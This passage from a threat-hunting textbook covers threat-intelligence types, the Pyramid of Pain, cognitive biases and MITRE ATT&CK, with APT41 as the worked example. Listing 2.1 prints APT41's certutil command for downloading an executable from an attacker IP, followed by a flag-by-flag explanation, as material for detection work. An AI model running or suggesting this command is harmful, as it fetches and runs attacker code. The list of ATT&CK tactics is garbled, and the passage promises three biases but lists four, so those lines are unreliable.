  Cyber threat intelligence refers to information and knowledge collected, processed, and established around cyber threats by internal and external sources. The goal is to assess past, present, and potential future cyber threats and to enable timely, informed decision-making. Cyber threat intelligence helps answer simple but important questions, such as who would attack an organization and how. Threat intelligence analysts try to answer those questions by researching, analyzing, and compiling a wide range of internal and external information to identify short-term (present) and long-term (future) attacks and threats. Threat-intelligence analysts share the compiled version with the broader organization, including threat hunters.


  2.3.1 Threat intelligence types


  Based on its content and how it is consumed, threat intelligence is divided into four types, shown in figure 2.1:


  
    	
      Strategic cyber threat intelligence—Supplies a high-level presentation of the threat landscape suitable for executives, focusing on the effect of threat execution.

    


    	
      Operational threat intelligence—Provides context about threats and actors such as nature, intent, malicious activities, and geopolitical background suitable for security management members. Operational threat intelligence gives threat hunters contextual information that helps them build and execute relevant hunt plays.

    


    	
      Tactical threat intelligence—Supplies details on TTPs suitable for the security operations center (SOC) team and threat hunters in particular.

    


    	
      Technical threat intelligence—Supplies specific indicators of compromise (IOCs) such as IP addresses, hashes, and URLs suitable for machine-based consumption. Due to the nature of the information it provides, technical threat intelligence has a short lifespan.
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    Figure 2.1 Threat intelligence types

  


  Threat hunters should have overall knowledge of the four threat-intelligence types, focusing on operational and tactical threat intelligence and easy access to technical threat intelligence.


  2.3.2 The Pyramid of Pain


  The Pyramid of Pain model (https://mng.bz/GNdD), shown in figure 2.2, takes a complexity-driven perspective on tactical and technical threat intelligence. The higher you go on the pyramid, the harder it gets to uncover the attacker’s characteristics. Locating and tracking the activities of an IP address, for example, is generally easier than uncovering techniques such as invoking rundll32.exe to execute a malicious loader.


  A mature threat-hunting practice focuses on the top three layers of the Pyramid of Pain—TTPs, tools, and network/host artifacts—to get the most value from threat intelligence and achieve higher levels of maturity. The bottom three layers of the pyramid—domain names, IP addresses, and hash values—are associated with IOCs and consumed mainly for security monitoring purposes. Threat hunters still use these IOCs, but they shouldn’t be the focus of the threat-hunting practice as a whole.
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    Figure 2.2 Pyramid of Pain

  


  2.4 Security situational awareness


  In the context of cybersecurity, situational awareness refers to understanding three things: the business, the technology environment that security professionals aim to protect, and the internal and external cyber threats associated with this environment. Maintaining good situational awareness is critical to making informed security decisions when selecting, deploying, and operating threat prevention, detection, and response controls. In threat hunting, situational awareness is key to creating and conducting relevant, effective threat hunts. To gain better situational awareness, threat hunters should know the following:


  
    	
      The organization’s business, including the market it operates in and the products and services it offers to customers

    


    	
      The technology services that the organization delivers to internal and external consumers, such as user directories or remote access services

    


    	
      Systems and applications used, including, but not limited to, operating systems and software

    


    	
      The locations of these systems and applications, such as those hosted in an on-premises data center or delivered by a cloud service provider as Infrastructure as a Service (IaaS), Platform as a Service (PaaS), or Software as a Service (SaaS)

    


    	
      Existing prevention, detection, and response security controls, including, but not limited to, network security, application security, endpoint security, infrastructure security, identity management, and vulnerability management

    


    	
      Data generated by systems and applications, where it is stored, and how it can be accessed

    


    	
      The threat landscape associated with the environment, including relevant threat actors and TTPs that could be used or enhanced to start an attack or establish a compromise

    


    	
      Information about previous and current security incidents

    

  


  The combination of good situational awareness, the threat hunter’s experience, and a structured and well-resourced practice is key to reaching a good level of maturity.


  2.5 Cognitive-bias challenges


  In some situations, the threat hunter’s experience might hinder the productivity and effectiveness of threat hunts due to cognitive bias, which refers to how humans’ perception of information is influenced by their experiences and preferences. According to the Handbook of Evolutionary Psychology, cognitive bias is a systematic pattern of deviation from norms or rationality in judgment. Cognitive biases result from how our brains are wired to simplify our complex world.


  All of us exhibit some form of cognitive bias. Security professionals such as threat hunters should be aware of how cognitive biases affect their decisions and judgments. Following are three critical forms of bias that threat hunters should try to overcome when they design and conduct hunts:


  
    	
      Confirmation bias—Tending to search for or interpret information in a way that confirms our preconceptions and discredits information that does not support our initial opinion. Threat hunters should not fall into confirmation bias by ignoring or discarding information or suggestions that contradict their hypothesis. This approach will save them time and ensure that their threat hunts are relevant and optimal and that the outcome of the hypothesis testing reflects the situation.

    


    	
      Present bias—Choosing a smaller immediate reward instead of waiting for a more significant future reward. Threat hunters should not settle for the first evidence they uncover. Instead, they should expand the scope of the hunt to uncover the extent of the threat.

    


    	
      Overconfidence bias—Overestimating our ability to perform a task successfully. Threat hunters should continuously seek to gain more experience and knowledge so that they are accurately self-confident and don’t overestimate their capabilities. Overconfidence bias might stop threat hunters from seeking the advice or support of experienced colleagues or external subject-matter experts because they think they know it all.

    


    	
      Anchoring bias—Overrelying on initial pieces of information when making decisions, even if that information might be irrelevant or only partially relevant to those decisions.

    

  


  2.6 MITRE ATT&CK


  In section 2.2.2, I referred to MITRE ATT&CK in the threat-hunting play that addresses the threat scenario. I referenced MITRE ATT&CK in the background section and a couple of MITRE ATT&CK techniques (T1059.001 and T1059.003) in the threat techniques. What is MITRE ATT&CK, and how useful is it to threat hunters?


  MITRE ATT&CK (https://attack.mitre.org) stands for MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK). It’s a popular reference for creating security monitoring detection rules and driving threat-hunting hypotheses. It provides comprehensive matrices of attack and threat tactics and techniques that are updated twice a year. Version 10, published in October 2021, has four matrices: Enterprise, Mobile, Industrial Control System, and Containers.


  MITRE ATT&CK Enterprise (https://mng.bz/YVxz) contains tactics, techniques, subtechniques, and groups. The framework is updated on a continuous basis. The 14 tactics in release 14 are Reconnaissance; Resource Development; Initial Access; Execution; Persistence; Privilege Escalation; Defense Evasion; Credential Access; Discovery; Lateral; Movement; Collection; Command; and Control, Exfiltration, and Impact. ATT&CK describes the following elements:


  
    	
      Tactics—Represents the “why” of an ATT&CK technique or subtechnique. Tactics represents the adversary’s tactical goal, such as the reason for performing an action, which might be exfiltrating data.

    


    	
      Techniques—Represents how an adversary achieves a tactical goal by performing an action. An adversary might dump credentials to achieve credential access, for example. The example threat-hunting play includes technique T1059, Command and Scripting Interpreter, under the execution tactic.

    


    	
      Subtechniques—Specifically describes the adversarial behavior used to achieve a goal at a lower level than a technique. The example threat-hunting play example includes two subtechniques: T1059.001, Command and Scripting Interpreter: PowerShell, and T1059.003, Command and Scripting Interpreter: Windows Command Shell.

    


    	
      Procedures—Represents specific implementations that the adversary uses for techniques or subtechniques. The example threat-hunting play includes a procedure for each subtechnique. The Command and Scripting Interpreter: PowerShell subtechnique is “APT41 used PowerShell to deploy malware families in victims’ environments.” The Command and Scripting Interpreter: Windows Command Shell subtechnique is “APT41 used cmd.exe /c to execute commands on remote machines. APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader.”

    

  


  The threat-intelligence community tracks threat actors and in many cases maps their activities to MITRE ATT&CK tactics and techniques. Organizations and threat hunters can use this information to plan their hunts. APT41 (https://www.mandiant.com/resources/apt-groups) is a group that is also known as Wicked Panda (https://www.crowdstrike.com/adversaries/wicked-panda), Group 72 (https://mng.bz/pxzK), and BRONZE ATLAS (https://mng.bz/eVmV). Threat hunters can use MITRE ATT&CK as a starting point for investigating the group, understanding and visualizing the known techniques and procedures that the group deploys.


  Note MITRE ATT&CK is updated twice a year. For recent information on threat actors’ activities, organizations should have access to threat-intelligence research services delivered by an internal threat-intelligence team or outsourced to reliable threat-intelligence providers.


  In some cases, depending on the organization’s maturity, business, and size, the threat hunter might perform the role of threat-intelligence analyst. You can use the Enterprise MITRE ATT&CK Navigator (https://mng.bz/gAgv) to generate a graph showing relevant tactics and techniques.


  To conduct its malicious activities, APT41 deploys many techniques and tools. According to Mandiant, APT41 has used at least 46 code families and tools to target organizations in 14 countries. APT41 often relies on spearphishing emails with attachments such as compiled HTML (.chm) files to compromise their victims initially. Once inside, APT41 can use more sophisticated TTPs to deploy additional malware.


  If they identify one of the threat actors of interest, the security monitoring and threat-hunting teams would look for TTPs commonly used by the group. Threat hunters in particular would establish hypotheses about traces of APT41 activities in the network and search for the tactics and tools used by the group to prove the hypotheses.


  The MITRE ATT&CK website (https://attack.mitre.org/groups/G0096) lists techniques and tools used by APT41. You can use the list as a reference to create or tune detection rules and build threat-hunting hypotheses. A threat hunter can create a hypothesis supported by searching for “T1105 Ingress Tool Transfer,” a MITRE ATT&CK tactic exploited by the group. The APT41 group has used certutil, a built-in Windows program, to download additional files during an intrusion. Listing 2.1 shows how the group used the certutil command-line tool to download an executable file, 2.exe, during an attack uncovered by Mandiant (https://mng.bz/aVwm).


  Warning Do not try the command.


  Listing 2.1 APT41 using certutil to download 2.exe

  certutil -urlcache -split -f http://91.208.184[.]78/2.exe


  certutil: calls the Windows certutil tool, which is used for handling certificate authority (CA) and certificate tasks. -urlcache: interacts with the URL cache command. The URL cache functionality of certutil allows it to store or retrieve content from the internet. -split: ensures that the file is downloaded in parts if it is being split on the server side. -f stands for force, allowing the overwrite of existing files with the same name without prompting for confirmation. http://91.208.184[.]78/2.exe is the URL of the file to be downloaded, 2.exe.


  Including all the APT41 techniques in a single hunting play would not be practical. Some techniques are not relevant to the environment. You might end up combining techniques that apply to the environment based on the tactic they call under and the procedures used. In our example threat-hunting play, we look into techniques in which PowerShell has been used to execute the threat.


  2.7 Frameworks


  Building and operating a structured threat-hunting practice involves more than creating hunting plays. A framework that describes how to manage a hunting practice is needed. In general, a framework is a structure that outlines the organization of a system (in our case, the threat-hunting practice) and facilitates the proper arrangement of components that the framework identifies.


  Suppose that you are asked to develop the outline of a framework to drive a structured threat-hunting practice. What areas would the framework cover, and what level of detail would you include?


  2.7.1 Threat-hunting framework


  A standard threat-hunting framework covers the areas described in the following sections.


  The threat-hunting process


  We need to document the threat-hunting process, such as the example that will follow. The threat-hunting process documents the following:
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